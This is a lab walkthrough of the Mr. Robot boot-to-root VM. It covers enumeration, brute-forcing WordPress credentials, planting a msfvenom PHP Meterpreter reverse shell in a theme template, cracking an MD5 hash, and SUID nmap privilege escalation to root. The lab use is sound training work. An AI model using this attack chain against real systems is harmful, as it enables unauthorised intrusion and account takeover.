Welcome to the next part in what has become our epic series of articles around

penetration testing and Kali Linux! If you're behind, feel free to catch up with
these posts around the OSCP certification, installing Kali on anything, and some of
the top Kali tools.

Today, we're going to get into the meat of it and do some actual hacking! But don't
worry, this probably won't get you arrested and/or extradited. We're going to work
on a target known as a boot-to-root machine. These are virtual machines that you
run in your own network that are built to look like a normal production box. They
can run apps like web servers, databases, FTP servers, and so on.

These machines, however, are built to be intentionally vulnerable by the author as

a means for you to practice your pen test skills in a simulated setting.

It's all about getting your hands dirty, running tools against a real target,
seeing what works and what fails, and getting into the pentester mindset. To help,
we're going to walk through a popular boot-to-root machine known as Mr. Robot (like
the TV show!). This VM is a WordPress server. We'll brute force our way into the
admin console, get a reverse shell, then escalate our privileges to another Linux
user before ending up as the root user, with full pwnage of the machine. Let's go!

Online Course
How to Run Basic Linux File Commands
15 Videos
Practice Exams
Coaching
Quizzes
MONTHLY

$59.00

USD / learner / month

YEARLY

$49.91

USD / learner / month

Watch now
SCARY LEGAL WARNING: As with any pen testing exercise, make sure you never run any
scans or tools against systems that you do not own without explicit permission!
Even while you’re just messing around for a certification or infosec training
course.

Boot the Machine

The first step with any boot-to-root is to download and boot it up, so head here to
download the image. You'll end up with a file in OVA format, which is a VMware
machine image. The file will import easily into any VMware product or Virtual Box.
If you are using Parallels or Hyper-V you'll need to follow a few extra steps to
convert it. Once it's imported into your hypervisor, compare the network settings
of it and your Kali box to make sure they are on the same virtual network, then
boot it up.

The next step: What IP address did it get? First find Kali's by running ifconfig,
the address after eth0 is what you're after:

1
2 root@kali:~# Ifconfig
3 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
4 inet 10.0.9.6 netmask 255.255.255.0 broadcast 10.0.9.255
5
Kali's IP is 10.0.9.6. Next let's use Nmap to ping the entire subnet and find other
live machines:

1 root@kali:~# Nmap -Sn 10.0.9.0/24

2 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:25 EDT
3 Nmap Scan Report for 10.0.9.1
4 Host Is Up (0.00019s Latency).
5 MAC Address: 00:1C:42:00:00:18 (Parallels)
6 Nmap Scan Report for 10.0.9.2
7 Host Is Up (0.00014s Latency).
8 MAC Address: 00:1C:42:00:00:08 (Parallels)
9 Nmap Scan Report for 10.0.9.5
10 Host Is Up (0.00048s Latency).
11 MAC Address: 00:1C:42:70:D7:77 (Parallels)
12 Nmap Scan Report for 10.0.9.6
13 Host Is Up.
14 Nmap done: 256 IP addresses (4 hosts up) scanned in 2.03 seconds
We know that 10.0.9.1 and .2 are virtual network devices used by Parallels (our
hypervisor in this case) and .6 is Kali, so .5 must be Mr. Robot!

Enumeration
The next step is to run a basic Nmap scan to find open ports:

1 root@kali:~# Nmap 10.0.9.5

2 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:26 EDT
3 Nmap Scan Report for 10.0.9.5
4 Host Is Up (0.00046s Latency).
5 Not Shown: 997 Filtered Ports
6 PORT STATE SERVICE
7 22/Tcp Closed Ssh
8 80/Tcp Open Http
9 443/Tcp Open Https
10 MAC Address: 00:1C:42:70:D7:77 (Parallels)
Port 22 is reported as closed, that means that the TCP request to that port was
explicitly answered with a "go away, no one's answering here!" instead of the lack
of response that came from every other port. However, 80 and 443 are open! If you
remember from your Network+ training, those ports are typically for HTTP and HTTPS.
So, let's try accessing the IP with Firefox. We get an interesting response:

Definitely a web site, kinda odd, but if you've seen the Mr. Robot TV show then you
should be picking up on the theme this machine was built around. Standard web
enumeration procedure. Let's take a look at the source code. There's some cute
ASCII art, a call to some Javascript, but not much else interesting:

Moving on to HTTPS, it's the same site, just encrypted, nothing new. The page gives
us no links to follow. Is there anything else interesting about the server we could
discover? Try scanning it with Nikto:

1
2 root@kali:~# Nikto -H 10.0.9.5
3 – Nikto V2.1.6
4 —————————————————————————————————————–
5 + Target IP: 10.0.9.5
6 + Target Hostname: 10.0.9.5
7 + Target Port: 80
8 + Start Time: 2019–10–14 12:02:22 (GMT–4)
9 —————————————————————————————————————–
0 + Server: Apache
1 + The X–XSS–Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
2 + /Wp–Login/: Admin Login Page/Section Found.
3 + /wordpress: A WordPress installation was found.
4 + /wp–admin/wp–login.php: WordPress Login Found
5
Two very interesting things immediately stand out: it's an Apache web server, and
it's a WordPress site. Trying the login page redirects us here, which confirms it
is indeed WordPress:

We could try to scan the page with WPScan to enumerate for vulnerable plug-ins, but
take a step back first. One tenet of pentesting is to enumerate wide and shallow
first — and then start deep diving. Understand your target more fully first,
otherwise you can easily deep dive into rabbit holes and waste time. Let's try
enumerating the web server further with GoBuster. GoBuster uses a given wordlist to
search for directories on the server, like so:

1 root@kali:~# gobuster dir –wordlist /usr/share/wordlists/dirbuster/directory-

list-2.3-medium.txt –url http://10.0.9.5
This command is pointing to the location of a standard wordlist that is including
with Kali, and using it against our web server to discover directories. One
interesting result that comes back is the directory /robots, let's try that in the
browser:

A-ha! The first of three keys! All VM exercises like this one have keys or flags
that you find, proofs that you obtained a certain level of access to the machine.
Generally they will have certain file permissions set; soon you'll see how we find
the second key but can't yet read the file.

Breaking Into WordPress

Also on that robots page is a filename, fsociety.dic. We can download that file
from 10.0.9.5/fsociety.dic, and opening it reveals an odd list of random words:

1 root@kali:~# Cat fsocity.dic

2 true
3 false
4 wikia
5 from
6 The
7 now
8 Wikia
9 extensions
Maybe a list of passwords? Not sure, let's keep it in mind and move along. So far,
we have a WordPress login page and a wordlist. Let's assume the wordlist is
passwords, but what's our username? One trick with WordPress is, based on how it's
set up, it will clue you into whether a particular username exists or not:

See the different Kill? Long story short, the username that you are supposed to use
is "elliot" (like the character from the show). How were you supposed to know this?
Here's a lesson about boot-to-root machines. Sometimes they are cheap and trolly.

Normally, you could use WPScan to enumerate WordPress users, but in this case it's
no help, because there are no posts on the site to pull an author name from.

Okay, we have a username and password list, let's combine them with WPScan and do
some brute forcing:

1
2
3 root@kali:~# wpscan –url 10.0.9.5/wp-admin –wordlist /root/fsocity.dic –username
elliot
4 [+] Starting the Password Brute Forcer
5 [+] [SUCCESS] Login : elliot Password : ER28–0652
6 Brute Forcing 'elliot' Time: 00:01:19 < > (5633 / 11452) 49.18% ETA: 00:01:22
7 +——+————+———+—————–+
8 | ID | Login | Name | Password |
9 +——+————+———+—————–+
0 | | Elliot | | ER28–0652 |
1 +——+————+———+—————–+
2 [+] Finished: Thu Oct 17 11:52:15 2019
3 [+] Elapsed Time: 00:01:35
4 [+] Requests Made: 6286
5 [+] Memory Used: 28.5 MB
6
7
After a few minutes, we have valid credentials for WordPress, elliot and ER28-0652.
Logging in brings us to the WordPress dashboard, where we can check user
permissions and find we are a WP admin, w00t! So the next thought of a pentester is
"how can I leverage this access to get a shell?"

Spawning a Shell
Lucky for us, WordPress is very conducive to running code against the OS after
gaining admin access. There are lots of ways to do this, this is but one simple
example. Let's navigate to the Appearance tab, then the Editor:

There's a list of files on the right side, all a part of the applied WordPress
template, Twenty Fifteen in this case:

If we click the 404 Template, we see the code that's displayed anytime a user
either goes to a nonexistent page, or even just goes to 10.0.9.5/404.php. PHP,
while used in this case to run server side code to generate the page on the fly,
can also be bent to our wills. Let's use the msfvenom command back in Kali to
generate some nefarious PHP code:

1 root@kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.9.6 lport=9009 -

f raw
This command will generate PHP code that uses the Meterpreter PHP payload to
connect a shell back to our Kali host at 10.0.9.6 on port 9009. It will output the
code when finished. Copy that, delete the contents of 404.php back in WordPress,
paste in our new code, and save the changes.

Now, we need a listener to catch the payload when it calls back to Kali. We chose a
Meterpreter payload earlier, which is a part of Metasploit, so let's crank that up:

1 root@kali:~# Msfconsole
2 …
3 msf5 > Use Exploit/Multi/Handler
4 msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
5 payload => Php/Meterpreter/Reverse_tcp
6 msf5 Exploit(multi/Handler) > Set Lhost 10.0.9.6
7 lhost => 10.0.9.6
8 msf5 Exploit(multi/Handler) > Set Lport 9009
9 lport => 9009
10 msf5 Exploit(multi/Handler) > Exploit
11 [*] Started Reverse TCP Handler on 10.0.9.6:9009
After launching Metasploit, we chose our multi-handler exploit, set the payload,
listening host IP and port, then started the exploit, which is now listening on
port 9009. If we go back to the browser and load 10.0.9.6/404.php we get this in
Kali:

1
2
3 [*] Sending Stage (38288 Bytes) to 10.0.9.5
4 [*] Meterpreter session 1 opened (10.0.9.6:9009 -> 10.0.9.5:39203) at 2019–10–18
16:19:18 –0400
5 meterpreter > Shell
6 Process 3421 Created.
7 Channel 0 Created.
8 whoami
9 daemon
0 pwd
1 /Opt/Bitnami/Apps/WordPress/Htdocs
2 ifconfig
3 eth0 Link encap:Ethernet HWaddr 00:1c:42:70:d7:77
4 inet addr:10.0.9.5 Bcast:10.0.9.255 Mask:255.255.255.0
5
6
Congrats, you just got your first reverse shell! This is a command line for the Mr.
Robot machine, connected to Kali. We can now run commands as if we are logged into
Mr. Robot. You can see the "whois" command, which shows we are the user called
"daemon," and the pwd shows shows we're currently in the WordPress doc directory.
Ifconfig proves we're on Mr. Robot per the matching IP address.

It does look a little weird though, as there's no actual prompt, this is normal
with reverse shells. One common fix is to run python -c 'import pty;
pty.spawn("/bin/bash")', this loads some shell bits that give us a normal looking
prompt.

Escalating Privileges
So we're in! Let's poke around a bit, starting with the home directories to see if
we can find anything interesting in the user home directories:

1
2 daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home
3 daemon@linux:/Home$ Ls
4 robot
5 daemon@linux:/Home$ Cd Robot
6 daemon@linux:/Home/Robot$ Ls
7 key–2–Of–3.txt password.raw–md5
8 daemon@linux:/Home/Robot$ Cat Key–2–Of–3.txt
9 cat: Key–2–Of–3.txt: Permission Denied
10 daemon@linux:/Home/Robot$ Cat password.raw–md5
11 robot:c3fcd3d76192e4007dfb496cca67e13b
12
We found a user called robot. While we are logged in as daemon, we can still look
at the contents of robot's home directory. We found key No. 2, but can't read the
file. Another interesting file we can read; it looks like credentials but is a bit
gibberishy. It might be a hash, but what kind?
We can use the hash-identifier tool to figure this out, but sometimes a quick
Google search can tell us even more. Googling this hash shows several pages like
this one that have already decrypted the hash as "abcdefghijklmnopqrstuvwxyz." Is
this robot's password? One way to find out, try using su to switch users:

1 daemon@linux:/Home/Robot$ Su – Robot
2 Password: Abcdefghijklmnopqrstuvwxyz
3 $ Whoami
4 robot
5 $ Cat Key–2–Of–3.txt
6 822c73956184f694993bede3eb39f959
It worked! We are now logged in as robot and can read the second key! One more to
go, there's a good chance we'll need to hit the jackpot and become root to find it.

Becoming Root
One common privilege-escalation technique to get to root is to look for SUID
binaries. These are executable files that have a certain permission set that will
allow us to run those files as if we are another user. Running the following
command will search the machine for SUID binaries, specifically for ones with root
as the user that we can execute them as:

1 $ Find / –User Root –Perm –4000 2>/Dev/Null

2 /Bin/Ping
3 /Bin/Umount
4 /Bin/Mount
5 /Bin/Ping6
6 /Bin/Su
7 /Usr/Bin/Passwd
8 /Usr/Bin/Newgrp
9 /Usr/Bin/Chsh
10 /Usr/Bin/Chfn
11 /Usr/Bin/Gpasswd
12 /Usr/Bin/Sudo
13 /Usr/Local/Bin/Nmap
14 /Usr/Lib/Openssh/Ssh–Keysign
15 /Usr/Lib/Eject/Dmcrypt–Get–Device
16 /usr/lib/vmware–tools/bin32/vmware–user–suid–wrapper
17 /usr/lib/vmware–tools/bin64/vmware–user–suid–wrapper
18 /Usr/Lib/Pt_chown
Holy moly. That's a lot of stuff, but very little of it will be helpful. Some files
always have the SUID bit set as root for us to use them because of the way Linux
permissions work. Passwd, for example, must run as root to edit the protected
/etc/shadow file if we want to change our password, but it generally can't be
exploited.

Knowing at a glance what's normal and what's out of place when looking for SUID
binaries will take time and experience. A common red flag is files in odd
directories. In this list, /usr/local/bin/nmap might stick out. Further research
shows that Nmap can be used quite easily to get a root shell when you run it in
interactive mode, a handy mode that lets you run shell commands from within Nmap:

1
2
3 $ Nmap —Interactive
4 nmap —Interactive
5 Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
6 Welcome to Interactive Mode — press h for help
7 nmap> !Bash –P
8 !bash –P
9 bash–4.3# Whoami
10 whoami
11 root
12 bash–4.3# Cd /Root
13 cd /Root
14 bash–4.3# Dir
15 dir
16 firstboot_done Key–3–Of–3.txt
17 bash–4.3# Cat Key-3-Of-3.txt
18 cat Key–3–Of–3.txt
19 04787ddef27c3dee1ee161b21670b4e4
20
21
That !bash -p command simply means "gimmie a shell" and because it's a SUID binary,
that shell runs as root! This only works with older versions of Nmap, they patched
it out in later ones, but in this case it led to us getting a root shell, finding
the third flag, and completely pwning the machine!

Wrapping Up
Hopefully this deep dive into Mr. Robot has helped show both how to get through a
typical boot-to-root or CTF-style machine and revealed some of the pentest process
and mindset.

If you want more, VulnHub is a great source for downloading more boot-to-root
machines, and HackTheBox is the cream of the crop for hosted hackable machines.
Happy hacking!